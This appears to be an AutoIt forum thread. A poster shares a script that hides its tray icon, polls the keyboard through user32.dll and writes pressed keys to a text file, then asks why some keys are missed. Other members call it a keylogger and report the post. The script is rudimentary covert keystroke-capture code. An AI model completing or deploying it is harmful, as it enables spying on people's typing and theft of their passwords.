Sign in to follow this  
Followers 0
07hc420

I can not get key @ from keyboard when user press

5 posts in this topic

#1 ·  Posted (edited)

My code

#NoTrayIcon

#include<Misc.au3>

; Open dll user32

$dll = DllOpen("user32.dll")

; Loop

While 1

if _IsPressed("61", $dll) then

FileWrite("temp.txt", "a")

EndIf

While _IsPressed("61", $dll) = 1

WEnd

if _IsPressed("40", $dll) then

FileWrite("temp.txt", "@")

EndIf

While _IsPressed("40", $dll) = 1

WEnd

WEnd

; Close user32.dll

DllClose($dll)

I can not get char '@' or 'a' when user press @ or a from his keyboard. But 'A' with hex '41' is ok.

Anyone help would be appreciated.

I thank a lot.

Edited by 07hc420

Share this post


Link to post
Share on other sites



Hi 07hc420, 

Friendly reminder, I suggest you edit your post before you get ban or this post is blocked.

This is a keylogger issue.


[font="Palatino Linotype"][size="2"]*** The information contained in this post should be considered and certified WORKS ON MY MACHINE ***[/size][/font][font="Palatino Linotype"][size="2"] [/size][/font]

Share this post


Link to post
Share on other sites

i am so sorry. i am a new member and a new autoit programer so i can only figure out my knowledge.

Share this post


Link to post
Share on other sites

#4 ·  Posted (edited)

Better read first the do's and dont's in this forum my friend...

especially the sticky one.

http://www.autoitscript.com/forum/index.php?showtopic=14632

Edited by nfaustin

[font="Palatino Linotype"][size="2"]*** The information contained in this post should be considered and certified WORKS ON MY MACHINE ***[/size][/font][font="Palatino Linotype"][size="2"] [/size][/font]

Share this post


Link to post
Share on other sites

Enough nfaustin, it's been reported.


Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0